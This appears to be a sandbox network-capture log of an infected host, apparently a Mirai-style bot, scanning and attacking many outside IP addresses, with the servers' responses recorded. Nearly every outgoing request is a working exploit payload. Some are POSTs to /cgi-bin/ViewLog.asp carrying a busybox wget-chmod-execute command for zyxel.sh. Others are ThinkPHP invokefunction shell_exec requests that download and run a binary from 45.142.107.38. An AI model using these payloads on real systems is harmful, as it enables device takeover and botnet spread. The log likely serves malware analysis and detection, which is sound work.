Mar 4, 2024 15:06:20.333632946 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:20.821999073 CET	439	IN	HTTP/1.1 401 Unauthorized Server: micro_httpd Cache-Control: no-cache Date: Mon, 04 Mar 2024 17:06:20 GMT WWW-Authenticate: Basic realm="X3500" Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 34 3e 0a 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 72 65 71 75 69 72 65 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>401 Unauthorized</H4>Authorization required.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.13	55830	31.136.238.69	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.525062084 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:23.607158899 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:29.751049042 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:41.783148050 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:07.638967991 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:56.790956974 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.13	46314	94.122.78.174	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.576025009 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.13	47606	154.55.166.161	23

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.585747004 CET	181	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 31 35 34 2e 31 36 2e 31 39 32 2e 32 30 33 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 33 2d 30 34 20 32 32 3a 30 36 3a 32 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 154.16.192.203MAC Address: Server Time: 2024-03-04 22:06:28Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.13	44706	95.210.97.73	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.692341089 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.13	49550	95.0.204.33	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.703428984 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:28.768285990 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close
Mar 4, 2024 15:06:28.972817898 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
150	192.168.2.13	49914	94.187.114.166	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.733933926 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
151	192.168.2.13	56540	94.123.47.67	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.741857052 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
152	192.168.2.13	46488	95.58.242.97	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.969105959 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:21.245626926 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:06:21.245682001 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www
Mar 4, 2024 15:06:22.077112913 CET	532	IN	HTTP/1.1 200 OK Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 74 64 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 74 72 2f 78 68 74 6d 6c 31 2f 44 74 64 2f 78 68 74 6d 6c 31 2d 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 75 74 66 2d 38 22 20 6c 61 6e 67 3d 22 75 74 66 2d 38 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 47 50 4f 4e 20 48 6f 6d 65 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 75 72 6c 3d 2f 6c 6f 67 69 6e 2e 68 74 6d 6c 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="utf-8" lang="utf-8" dir="ltr"><head><title>GPON Home Gateway</title><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta http-equiv="refresh" content="0; url=/login.html" /></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
153	192.168.2.13	53664	95.100.16.228	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:20.994592905 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:21.296780109 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Mon, 04 Mar 2024 14:06:21 GMT Date: Mon, 04 Mar 2024 14:06:21 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 35 66 62 31 33 30 32 26 23 34 36 3b 31 37 30 39 35 36 31 31 38 31 26 23 34 36 3b 63 66 61 64 34 34 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.25fb1302.1709561181.cfad44c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
154	192.168.2.13	40310	85.223.180.94	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:21.469147921 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:21.672178030 CET	399	IN	HTTP/1.1 404 Not Found Date: Mon, 04 Mar 2024 16:06:20 GMT Server: Webs X-Frame-Options: SAMEORIGIN Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
155	192.168.2.13	54948	94.120.171.133	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:21.487212896 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
156	192.168.2.13	60818	95.86.123.242	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:21.924571037 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
157	192.168.2.13	35636	112.198.131.87	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:22.353338003 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
158	192.168.2.13	55172	112.196.79.89	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:22.412422895 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:22.833930016 CET	124	IN	HTTP/1.0 400 Bad Request Server: JAL50_MSC_5 Date: mon, 04 mar 2024 19:36:05 GMT Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
159	192.168.2.13	36042	95.61.17.154	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:22.911128998 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:23.095989943 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Mon, 04 Mar 2024 14:06:23 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
160	192.168.2.13	34384	95.86.79.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:22.946147919 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
161	192.168.2.13	55184	95.56.22.46	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:22.988903046 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:23.254828930 CET	29	IN	HTTP/1.1 200 OK
Mar 4, 2024 15:06:23.254887104 CET	515	IN	Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 Data Ascii: Connection: closePragma: no-cacheCache-Control: no-cacheContent-Type: text/html; charset=utf-8<!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www
Mar 4, 2024 15:06:24.029047012 CET	532	IN	HTTP/1.1 200 OK Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 74 64 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 74 72 2f 78 68 74 6d 6c 31 2f 44 74 64 2f 78 68 74 6d 6c 31 2d 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 75 74 66 2d 38 22 20 6c 61 6e 67 3d 22 75 74 66 2d 38 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 47 50 4f 4e 20 48 6f 6d 65 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 20 75 72 6c 3d 2f 6c 6f 67 69 6e 2e 68 74 6d 6c 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//Dtd XHTML 1.0 Strict//EN" "http://www.w3.org/tr/xhtml1/Dtd/xhtml1-Transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="utf-8" lang="utf-8" 